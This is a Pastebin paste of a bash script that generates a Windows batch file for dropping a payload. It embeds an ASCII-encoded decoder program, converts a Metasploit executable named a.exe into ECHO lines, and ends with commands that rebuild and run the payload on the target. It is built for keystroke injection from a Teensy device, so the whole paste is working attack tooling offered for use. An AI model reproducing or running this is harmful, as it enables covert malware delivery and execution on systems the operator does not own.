Advertisement
Guest User

Encoder.sh

a guest
Feb 20th, 2012
885
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.29 KB | None | 0 0
  1. #!/bin/bash
  2. clear
  3. echo '*****************************************************'
  4. echo ' Automatic ASCII Shellcode Batch generator '
  5. echo 'Astrobaby 2012 - For Teensy Deployment & Metasploit'
  6. echo 'The Payload Executable to encode MUST be called a.exe'
  7. echo '*****************************************************'
  8. echo -ne "\n"
  9. echo -ne "\n"
  10.  
  11. echo '@ECHO OFF' > shellcode.bat
  12. echo -e 'ECHO:`h}aXP5y`P]4nP_XW\050F4\050F6\050F=\050FF\051FH\050FL\050Fe\050FR0FTs*}`A?+,>>decbin.com' >> shellcode.bat
  13. echo -e 'ECHO:fkOU\051:G*@Crv,*t$HU\0133rlf~#IubfRfXf\050V#fj}fX4{PY$@fPfZsZ$:NvN$>>decbin.com' >> shellcode.bat
  14. echo -e 'ECHO:9AyroNB-\051dOKwK0rRkfTbi\051ws_\0176\0133\0133q9wE\047sqlu1sY*Bsfe=@ziNS1a)88e>>decbin.com' >> shellcode.bat
  15. echo -e 'ECHO:f9RTL)9Z{3INBD?o6@MDLO{Zz4Q23E-\047\060\071NX9@Vz(42A7c8zMS:u$w6k5Q>>decbin.com' >> shellcode.bat
  16. echo -e 'ECHO:N,h:le)~gF?tutTyxoe5UiIdtn\047;0rJ1q:{7;lAl\047]y:yTjZBbOo?QRIdN>>decbin.com' >> shellcode.bat
  17. echo -e 'ECHO:$Bp@P/nAp_r0*4f\047XcF4q3o?$_t5lx$Q-OxSfUNQ__Gd~$Q-Oxgkx=LGHU>>decbin.com' >> shellcode.bat
  18. echo -e 'ECHO:S)$C6P8#>>decbin.com' >> shellcode.bat
  19. echo '::---------------------------------------' >> shellcode.bat
  20. echo '`h}aXP5y`P]4nP_XW(F4(F6(F=(FF)FH(FL(Fe(FR0FTs*}`A?+,' >encbin.com
  21. echo 'fkOU):G*@Crv,*t$HU[rlf~#IubfRfXf(V#fj}fX4{PY$@fPfZsZ$:O*' >>encbin.com
  22. echo -e 'R$9g9voNB-)dY(@P0rOac$:FV9\047@F7JbqJ5EfzB5{g~f./1nWaG_t0zS' >>encbin.com
  23. echo -e 'smW\050t_t0zH*rd~R\047\065\065@G$.7]*w-NEZ9E?Nu\047@U{88zMS:h33zBO{ZwFQ'>>encbin.com
  24. echo -e '21w\0134\047\060\071NX_zxAr/_-P]oN@*e_{[CNihl7@dEr}ec+`UJ$$5d{$9xS=k1' >>encbin.com
  25. echo -e 'yVE$$,vc*b90fy6+S)`ARJX$Q]yah_aaK\044\044\063qbAwsEz$QcETTOQTo+/4' >>encbin.com
  26. echo -e '@\051$Qfu$gkx=SGHUS\051\044C6D4#' >>encbin.com
  27. todos encbin.com
  28. #Writing dosbox conf file to run the encoder
  29. location=`pwd`
  30. echo 'mount c' $location >> ~/.dosbox/*.conf
  31. dosbox -c "c:" -c "encbin.com < a.exe > text" -c "exit"
  32. fromdos TEXT
  33. sed 's/^/ECHO:/' TEXT > test2.txt
  34. sed 's/$/>>loader.com/' test2.txt > test3.txt
  35. todos test3.txt
  36. cat test3.txt >> shellcode.bat
  37. echo 'decbin < loader.com > a.com' >> shellcode.bat
  38. echo 'a.com' >> shellcode.bat
  39. todos shellcode.bat
  40. rm -f test2.txt
  41. rm -f test3.txt
  42. rm -f test.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement